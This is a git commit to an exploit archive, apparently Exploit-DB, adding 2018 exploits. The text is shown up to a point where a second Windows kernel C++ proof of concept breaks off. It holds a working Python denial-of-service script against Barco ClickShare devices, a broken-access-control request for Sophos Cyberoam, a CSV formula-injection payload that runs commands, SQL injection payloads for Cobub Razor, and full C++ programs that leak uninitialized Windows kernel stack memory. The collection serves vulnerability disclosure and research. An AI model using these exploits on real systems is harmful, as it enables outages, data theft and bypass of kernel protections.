DB: 2018-04-17
17 changes to exploits/shellcodes Barco ClickShare CSE-200 - Remote Denial of Service Microsoft Windows - 'nt!NtQueryFullAttributesFile' Kernel Stack Memory Disclosure Microsoft Windows - 'nt!NtQueryAttributesFile' Kernel Stack Memory Disclosure Microsoft Windows - 'nt!NtQueryVolumeInformationFile' Kernel Stack Memory Disclosure Microsoft Windows - 'nt!NtQuerySystemInformation (SystemPageFileInformation(Ex))' Kernel 64-bit Stack Memory Disclosure Microsoft Windows - 'nt!NtQueryInformationTransactionManager (TransactionManagerRecoveryInformation)' Kernel Pool Memory Disclosure Microsoft Windows - 'nt!NtQueryInformationProcess (ProcessImageFileName)' Kernel 64-bit Pool/Stack Memory Disclosure Microsoft Windows - 'nt!NtQueryVirtualMemory (Memory(Privileged)BasicInformation)' Kernel 64-bit Stack Memory Disclosure Microsoft Windows - 'nt!NtQueryVirtualMemory (MemoryImageInformation)' Kernel 64-bit Stack Memory Disclosure Microsoft Windows - 'CiSetFileCache' TOCTOU Incomplete Fix Microsoft Edge - 'OpenProcess()' ACG Bypass Zortam MP3 Media Studio 23.45 - Local Buffer Overflow (SEH) SysGauge Pro 4.6.12 - Local Buffer Overflow (SEH) CloudMe Sync 1.11.0 - Local Buffer Overflow Cobub Razor 0.8.0 - SQL injection Sophos Cyberoam UTM CR25iNG - 10.6.3 MR-5 - Direct Object Reference
This commit is contained in:
Offensive Security
parent
bef325a736
commit
f34469db27
18 changed files with 1874 additions and 6 deletions
62
exploits/hardware/dos/44456.py
Executable file
62
exploits/hardware/dos/44456.py
Executable file
|
|
@ -0,0 +1,62 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
# Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service
|
||||
# Date: 11-04-2018
|
||||
# Hardware Link: https://www.barco.com/de/product/clickshare-cse-200
|
||||
# Exploit Author: Florian Hauser
|
||||
# Contact: florian DOT g DOT hauser AT gmail DOT com
|
||||
# CVE: requested by Barco
|
||||
# Category: Hardware
|
||||
|
||||
# Disclaimer:
|
||||
# This or previous programs is for Educational
|
||||
# purpose ONLY. Do not use it without permission.
|
||||
# The usual disclaimer applies, especially the
|
||||
# fact that Florian Hauser is not liable for any
|
||||
# damages caused by direct or indirect use of the
|
||||
# information or functionality provided by these
|
||||
# programs. The author or any Internet provider
|
||||
# bears NO responsibility for content or misuse
|
||||
# of these programs or any derivatives thereof.
|
||||
# By using these programs you accept the fact
|
||||
# that any damage (dataloss, system crash,
|
||||
# system compromise, etc.) caused by the use
|
||||
# of these programs is not Florian Hauser's
|
||||
# responsibility.
|
||||
#
|
||||
# Use them at your own risk!
|
||||
################
|
||||
# Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'):
|
||||
# Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <-
|
||||
# not only disconnects all clients but also results in a crash of this hardware device
|
||||
# Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018.
|
||||
# I got permission from Barco to disclose this vulnerability.
|
||||
# This affects potentially all other ClickShare products, Barco confirms
|
||||
|
||||
import socket
|
||||
import sys
|
||||
from time import sleep
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print "Usage: exploit.py <ip>"
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
# Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that.
|
||||
# 6-7 requests do the job usually
|
||||
for x in range(1,50):
|
||||
#Create a new socket each time because otherwise the service drops the socket
|
||||
#Same request cannot be sent several times in sequence
|
||||
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
#Connect to vulnerable TCP port 7100
|
||||
connect=s.connect((str(sys.argv[1]), 7100))
|
||||
s.send('some evil string \r\n\n')
|
||||
print "Buffer " + str(x) + " sent...\n"
|
||||
|
||||
result=s.recv(1024)
|
||||
print result
|
||||
s.close()
|
||||
|
||||
#Sleep for a few seconds because otherwise the service denies a socket creation but does not crash
|
||||
sleep(7)
|
||||
80
exploits/jsp/webapps/44469.txt
Normal file
80
exploits/jsp/webapps/44469.txt
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
# Exploit Title: Sophos Cyberoam UTM - Privilege Escalation
|
||||
# Date: 31/08/2016
|
||||
# Exploit Author: Chintan Gurjar (Frogy)
|
||||
# Vendor Homepage: http://www.sophos.com/
|
||||
# Software Link: https://www.cyberoam.com/downloads/datasheet/CR25iNG.html
|
||||
# Version: Cyberoam CR25iNG - 10.6.3 MR-5
|
||||
# CVE : CVE-2016-7786
|
||||
# Category : Webapps
|
||||
# CVSS Score: 9.3
|
||||
|
||||
Description
|
||||
===========
|
||||
A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.
|
||||
The weakness was released 04/07/2017. The advisory is shared for download at infosecninja.blogspot.in. The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known.
|
||||
Upgrading to version 10.6.5 eliminates this vulnerability.
|
||||
|
||||
Steps to reproduce
|
||||
===================
|
||||
1. Login with admin user account.
|
||||
2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs.
|
||||
3. Logout and login with a low privileged user account who does not have even read/write/execution permission.
|
||||
4. Access saved admin functionality URLs with a low privileged user account.
|
||||
5. Access the admin information from the user account.
|
||||
|
||||
Video Demonstration
|
||||
====================
|
||||
https://www.youtube.com/watch?v=unV3-DdIxXw&t=2s
|
||||
|
||||
|
||||
PoC
|
||||
===============
|
||||
Request:
|
||||
|
||||
GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1
|
||||
Host: 192.168.1.1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||
Accept: text/plain, */*; q=0.01
|
||||
Accept-Language: en-US,en;1=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Referer: http://192.168.1.1/corporate/webpages/index.php
|
||||
Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73
|
||||
Connection: close
|
||||
|
||||
Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Wed, 31 Aug 2016 06:59:56 GMT
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Content-Type: text/html;charset=UTF-8
|
||||
Cache-Control: max-age=2592000
|
||||
Expires: Fri, 30 Sep 2016 06:59:56 GMT
|
||||
Vary: Accept-Encoding
|
||||
Content-Length: 1828
|
||||
Connection: Close
|
||||
|
||||
...
|
||||
|
||||
<table width="100%" cellpading="1" cellspacing="1">
|
||||
<tr>
|
||||
<td class="tableheader_gadget" align="center"><label
|
||||
id='Language.Time'></label></td>
|
||||
<td class="tableheader_gadget" align="center"><label
|
||||
id='Language.User'></label></td>
|
||||
...
|
||||
|
||||
Affected URLs
|
||||
===============
|
||||
http://192.168.1.1/corporate/webpages/dashboard/ApplianceInformation.jsp
|
||||
http://192.168.1.1/corporate/webpages/dashboard/IPSRecentAlerts.jsp
|
||||
http://192.168.1.1/corporate/webpages/dashboard/HTTPVirusDetected.jsp
|
||||
...Many others...
|
||||
|
||||
|
||||
References
|
||||
===============
|
||||
https://infosecninja.blogspot.co.nz/2017/04/cve-2016-7786-sophos-cyberoam-utm.html
|
||||
https://vuldb.com/?id.99371
|
||||
https://www.cvedetails.com/cve/CVE-2016-7786/
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2016-7786
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
# Exploit Title: Joomla Extension Convert Forms version 2.0.3 - Formula Injection (CSV Injection)
|
||||
# Exploit Title: Joomla Extension Convert Forms version 2.0.3 is vulnerable to Formula Injection (CSV Injection)
|
||||
# Google Dork: N/A
|
||||
# Date: 12-04-2018
|
||||
################################
|
||||
|
|
@ -11,20 +11,17 @@
|
|||
# CVE : CVE-2018-10063
|
||||
|
||||
1. Application Description:
|
||||
Convert Forms provides a framework to build custom forms for Joomla users.
|
||||
|
||||
Convert Forms provides a framework to build custom forms for Joomla users.
|
||||
2. Technical Description:
|
||||
Custom Forms version 2.0.3 is affected by the vulnerability Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine, the command is executed.
|
||||
|
||||
3. Proof Of Concept:
|
||||
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
|
||||
When high privileged user logs into the application to export form data in CSV and opens the file.
|
||||
Formula gets executed and calculator will get popped in his machine.
|
||||
|
||||
4. Solution:
|
||||
Upgrade to version 2.0.4
|
||||
https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/convert-forms/
|
||||
|
||||
5. Reference:
|
||||
https://vel.joomla.org/resolved/2160-convert-forms-2-0-3-csv-injection
|
||||
https://www.tassos.gr/blog/convert-forms-2-0-4-security-release
|
||||
https://vel.joomla.org/articles/2140-introducing-csv-injection
|
||||
28
exploits/php/webapps/44454.txt
Normal file
28
exploits/php/webapps/44454.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
# Exploit Title: Cobub Razor 0.8.0 SQL injection Vulnerability
|
||||
# Date: 2018-04-14
|
||||
# Exploit Author: Kyhvedn（yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn）
|
||||
# Vendor Homepage: http://www.cobub.com/
|
||||
# Software Link: https://github.com/cobub/razor
|
||||
# Version: 0.8.0
|
||||
# CVE : CVE-2018-8057
|
||||
|
||||
|
||||
|
||||
The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure.
|
||||
|
||||
|
||||
Code source:
|
||||
/application/controllers/manage/channel.php at line 75-95
|
||||
|
||||
|
||||
The SQL injection type: error-based and AND/OR time-based blind
|
||||
Parameter: channel_name,platform
|
||||
|
||||
|
||||
PoC:
|
||||
|
||||
|
||||
http://localhost/index.php?/manage/channel/addchannel
|
||||
POST data:
|
||||
1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
|
||||
2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1
|
||||
265
exploits/windows/dos/44458.cpp
Normal file
265
exploits/windows/dos/44458.cpp
Normal file
|
|
@ -0,0 +1,265 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:
|
||||
|
||||
--- cut ---
|
||||
"\GLOBAL??\D:\" (CD-ROM partition)
|
||||
"\GLOBAL??\CdRom0\"
|
||||
"\GLOBAL??\FltMgr"
|
||||
"\GLOBAL??\FltMgr\"
|
||||
"\GLOBAL??\MAILSLOT\"
|
||||
"\GLOBAL??\Volume{GUID}\"
|
||||
"\GLOBAL??\PIPE\"
|
||||
"\Device\CdRom0\"
|
||||
"\Device\NamedPipe\"
|
||||
"\Device\Mailslot\"
|
||||
--- cut ---
|
||||
|
||||
The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _FILE_NETWORK_OPEN_INFORMATION {
|
||||
LARGE_INTEGER CreationTime;
|
||||
LARGE_INTEGER LastAccessTime;
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
LARGE_INTEGER ChangeTime;
|
||||
LARGE_INTEGER AllocationSize;
|
||||
LARGE_INTEGER EndOfFile;
|
||||
ULONG FileAttributes;
|
||||
} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
|
||||
--- cut ---
|
||||
|
||||
It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:
|
||||
|
||||
--- cut ---
|
||||
Name: \GLOBAL??\D:\, Status: 0
|
||||
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
|
||||
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \GLOBAL??\CdRom0\, Status: 0
|
||||
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
|
||||
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \GLOBAL??\MAILSLOT\, Status: 0
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \GLOBAL??\Volume{GUID}\, Status: 0
|
||||
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
|
||||
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \GLOBAL??\PIPE\, Status: 0
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \Device\CdRom0\, Status: 0
|
||||
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
|
||||
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \Device\NamedPipe\, Status: 0
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
Name: \Device\Mailslot\, Status: 0
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
--- cut ---
|
||||
|
||||
In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below:
|
||||
|
||||
--- cut ---
|
||||
Name: \GLOBAL??\FltMgr, Status: 0
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
|
||||
Name: \GLOBAL??\FltMgr\, Status: 0
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
|
||||
--- cut ---
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#define DIRECTORY_QUERY 0x0001
|
||||
#define DIRECTORY_TRAVERSE 0x0002
|
||||
|
||||
typedef struct _FILE_NETWORK_OPEN_INFORMATION {
|
||||
LARGE_INTEGER CreationTime;
|
||||
LARGE_INTEGER LastAccessTime;
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
LARGE_INTEGER ChangeTime;
|
||||
LARGE_INTEGER AllocationSize;
|
||||
LARGE_INTEGER EndOfFile;
|
||||
ULONG FileAttributes;
|
||||
} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
|
||||
|
||||
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
||||
UNICODE_STRING Name;
|
||||
UNICODE_STRING TypeName;
|
||||
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS NTAPI NtQueryFullAttributesFile(
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation
|
||||
);
|
||||
|
||||
NTSTATUS WINAPI NtQueryDirectoryObject(
|
||||
_In_ HANDLE DirectoryHandle,
|
||||
_Out_opt_ PVOID Buffer,
|
||||
_In_ ULONG Length,
|
||||
_In_ BOOLEAN ReturnSingleEntry,
|
||||
_In_ BOOLEAN RestartScan,
|
||||
_Inout_ PULONG Context,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
NTSTATUS WINAPI NtOpenDirectoryObject(
|
||||
_Out_ PHANDLE DirectoryHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(*EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
|
||||
OBJECT_ATTRIBUTES Attributes;
|
||||
UNICODE_STRING Name;
|
||||
RtlInitUnicodeString(&Name, Path);
|
||||
InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);
|
||||
|
||||
FILE_NETWORK_OPEN_INFORMATION FileInformation, EmptyInformation;
|
||||
RtlZeroMemory(&FileInformation, sizeof(FileInformation));
|
||||
RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));
|
||||
|
||||
SprayKernelStack();
|
||||
|
||||
NTSTATUS Status = NtQueryFullAttributesFile(&Attributes, &FileInformation);
|
||||
if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
|
||||
wprintf(L"Name: %s, Status: %x\n", Path, Status);
|
||||
PrintHex(&FileInformation, sizeof(FileInformation));
|
||||
}
|
||||
}
|
||||
|
||||
VOID EnumerateDirectory(PWCHAR path) {
|
||||
HANDLE hdir = NULL;
|
||||
OBJECT_ATTRIBUTES attrs;
|
||||
UNICODE_STRING name;
|
||||
|
||||
RtlInitUnicodeString(&name, path);
|
||||
InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
|
||||
NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);
|
||||
|
||||
if (NT_SUCCESS(st)) {
|
||||
CONST ULONG kMaxBufferSize = 128 * 1024;
|
||||
PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);
|
||||
|
||||
ULONG Context;
|
||||
st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
|
||||
if (NT_SUCCESS(st)) {
|
||||
POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
|
||||
while (pdi->Name.Buffer != NULL) {
|
||||
WCHAR path_buffer[MAX_PATH];
|
||||
|
||||
if (!wcscmp(path, L"\\")) {
|
||||
wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
|
||||
}
|
||||
else {
|
||||
wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
|
||||
}
|
||||
|
||||
if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
|
||||
EnumerateDirectory(path_buffer);
|
||||
}
|
||||
else {
|
||||
QueryFile(NULL, path_buffer);
|
||||
wcscat_s(path_buffer, L"\\");
|
||||
QueryFile(NULL, path_buffer);
|
||||
}
|
||||
|
||||
pdi++;
|
||||
}
|
||||
}
|
||||
|
||||
free(buffer);
|
||||
NtClose(hdir);
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
EnumerateDirectory(L"\\");
|
||||
|
||||
return 0;
|
||||
}
|
||||
236
exploits/windows/dos/44459.cpp
Normal file
236
exploits/windows/dos/44459.cpp
Normal file
|
|
@ -0,0 +1,236 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:
|
||||
|
||||
--- cut ---
|
||||
"\ArcName\multi(0)disk(0)rdisk(0)partition(1)"
|
||||
"\GLOBAL??\Harddisk0Partition1"
|
||||
"\GLOBAL??\Volume{GUID}"
|
||||
"\GLOBAL??\SystemPartition"
|
||||
"\GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}"
|
||||
"\GLOBAL??\HarddiskVolume1"
|
||||
"\Device\SystemPartition"
|
||||
"\Device\HarddiskVolume1"
|
||||
--- cut ---
|
||||
|
||||
The output structure returned by the system call is FILE_BASIC_INFORMATION [1]:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _FILE_BASIC_INFORMATION {
|
||||
LARGE_INTEGER CreationTime;
|
||||
LARGE_INTEGER LastAccessTime;
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
LARGE_INTEGER ChangeTime;
|
||||
ULONG FileAttributes;
|
||||
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
|
||||
--- cut ---
|
||||
|
||||
In case of the above affected paths, the 4-byte "FileAttributes" field is never initialized. As the kernel uses a temporary copy of the structure that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:
|
||||
|
||||
--- cut ---
|
||||
Name: \ArcName\multi(0)disk(0)rdisk(0)partition(1), Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \GLOBAL??\Harddisk0Partition1, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \GLOBAL??\Volume{GUID}, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \GLOBAL??\SystemPartition, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \GLOBAL??\HarddiskVolume1, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \Device\SystemPartition, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
Name: \Device\HarddiskVolume1, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
|
||||
--- cut ---
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#define DIRECTORY_QUERY 0x0001
|
||||
#define DIRECTORY_TRAVERSE 0x0002
|
||||
|
||||
typedef struct _FILE_BASIC_INFORMATION {
